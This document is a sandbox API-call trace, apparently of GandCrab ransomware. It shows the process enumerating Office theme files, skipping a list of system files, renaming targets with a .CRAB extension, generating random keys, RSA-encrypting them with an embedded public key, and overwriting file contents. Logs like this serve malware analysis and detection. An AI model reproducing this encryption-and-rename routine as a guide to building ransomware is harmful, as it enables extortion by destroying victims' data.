	[0116.797] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001103[[fn=headlines]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001103[[fn=headlines]].thmx.crab")) returned 1
	[0116.798] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0116.798] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx.CRAB"
	[0116.798] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx.CRAB.CRAB"
	[0116.798] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0116.799] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0116.799] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0116.804] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0116.804] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0116.804] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0116.804] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.804] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ec00) returned 1
	[0116.805] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0116.805] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0116.805] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0116.805] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0116.805] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0116.805] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.806] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0116.806] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0116.806] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0116.807] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4aa0) returned 1
	[0116.807] CryptGetKeyParam (in: hKey=0xda4aa0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0116.807] CryptEncrypt (in: hKey=0xda4aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0116.807] GetLastError () returned 0x0
	[0116.807] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0116.807] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0116.808] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4ae0) returned 1
	[0116.808] CryptGetKeyParam (in: hKey=0xda4ae0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0116.808] CryptEncrypt (in: hKey=0xda4ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0116.808] GetLastError () returned 0x0
	[0116.808] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0116.808] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001103[[fn=headlines]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0116.809] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0116.809] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0116.810] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x83bd9, lpOverlapped=0x0) returned 1
	[0116.859] VirtualAlloc (lpAddress=0x0, dwSize=0x83be0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0116.867] VirtualAlloc (lpAddress=0x0, dwSize=0x83be0, flAllocationType=0x3000, flProtect=0x4) returned 0x33f0000
	[0116.879] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.881] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff7c427, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.881] WriteFile (in: hFile=0x3fc, lpBuffer=0x33f0000*, nNumberOfBytesToWrite=0x83be0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33f0000*, lpNumberOfBytesWritten=0x3147f1c*=0x83be0, lpOverlapped=0x0) returned 1
	[0116.882] VirtualFree (lpAddress=0x33f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.884] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.888] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0116.888] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0116.888] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0116.888] CloseHandle (hObject=0x3fc) returned 1
	[0116.896] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.896] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.897] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.897] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.897] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.897] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.897] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0116.897] lstrcmpW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2=".") returned 1
	[0116.897] lstrcmpW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="..") returned 1
	[0116.897] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001104[[fn=Feathered]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx"
	[0116.898] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0116.898] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133
	[0116.898] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133
	[0116.898] lstrlenW (lpString=".thmx") returned 5
	[0116.898] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0116.898] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0116.898] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133
	[0116.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133
	[0116.899] lstrcmpiW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="desktop.ini") returned 1
	[0116.899] lstrcmpiW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="autorun.inf") returned 1
	[0116.899] lstrcmpiW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="ntuser.dat") returned 1
	[0116.899] lstrcmpiW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="iconcache.db") returned 1
	[0116.899] lstrcmpiW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="bootsect.bak") returned 1
	[0116.899] lstrcmpiW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="boot.ini") returned 1
	[0116.899] lstrcmpiW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="ntuser.dat.log") returned 1
	[0116.899] lstrcmpiW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="thumbs.db") returned 1
	[0116.899] lstrcmpiW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0116.899] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0116.899] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx.CRAB") returned 138
	[0116.899] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001104[[fn=feathered]].thmx")) returned 0x20
	[0116.900] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx", dwFileAttributes=0x20) returned 1
	[0116.900] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001104[[fn=feathered]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001104[[fn=feathered]].thmx.crab")) returned 1
	[0116.901] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0116.901] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx.CRAB"
	[0116.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx.CRAB.CRAB"
	[0116.902] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6eb78) returned 1
	[0116.902] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0116.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0116.903] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0116.903] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0116.903] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0116.903] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.903] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0116.904] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0116.904] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0116.904] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0116.904] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0116.904] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0116.904] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0116.904] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0116.905] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0116.905] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0116.906] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4b20) returned 1
	[0116.906] CryptGetKeyParam (in: hKey=0xda4b20, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0116.906] CryptEncrypt (in: hKey=0xda4b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0116.907] GetLastError () returned 0x0
	[0116.907] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0116.907] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e6b0) returned 1
	[0116.907] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4720) returned 1
	[0116.907] CryptGetKeyParam (in: hKey=0xda4720, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0116.907] CryptEncrypt (in: hKey=0xda4720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0116.908] GetLastError () returned 0x0
	[0116.908] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0116.908] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm10001104[[fn=feathered]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0116.908] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0116.909] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0116.909] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x100000, lpOverlapped=0x0) returned 1
	[0117.031] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0117.052] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0117.077] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.084] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.084] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0x100000, lpOverlapped=0x0) returned 1
	[0117.086] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.090] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0xf53d4, lpOverlapped=0x0) returned 1
	[0117.098] VirtualAlloc (lpAddress=0x0, dwSize=0xf53e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0117.109] VirtualAlloc (lpAddress=0x0, dwSize=0xf53e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3460000
	[0117.129] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.133] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff0ac2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.133] WriteFile (in: hFile=0x3fc, lpBuffer=0x3460000*, nNumberOfBytesToWrite=0xf53e0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3460000*, lpNumberOfBytesWritten=0x3147f1c*=0xf53e0, lpOverlapped=0x0) returned 1
	[0117.135] VirtualFree (lpAddress=0x3460000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.138] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.142] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.142] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0117.143] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0117.143] CloseHandle (hObject=0x3fc) returned 1
	[0117.179] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.179] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.180] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.180] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.180] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.181] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.181] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0117.181] lstrcmpW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2=".") returned 1
	[0117.181] lstrcmpW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="..") returned 1
	[0117.181] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001105[[fn=Crop]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx"
	[0117.181] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0117.181] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128
	[0117.181] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128
	[0117.181] lstrlenW (lpString=".thmx") returned 5
	[0117.181] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0117.182] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0117.182] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0117.182] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128
	[0117.182] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128
	[0117.182] lstrcmpiW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="desktop.ini") returned 1
	[0117.182] lstrcmpiW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="autorun.inf") returned 1
	[0117.182] lstrcmpiW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="ntuser.dat") returned 1
	[0117.182] lstrcmpiW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="iconcache.db") returned 1
	[0117.182] lstrcmpiW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="bootsect.bak") returned 1
	[0117.182] lstrcmpiW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="boot.ini") returned 1
	[0117.182] lstrcmpiW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="ntuser.dat.log") returned 1
	[0117.182] lstrcmpiW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="thumbs.db") returned 1
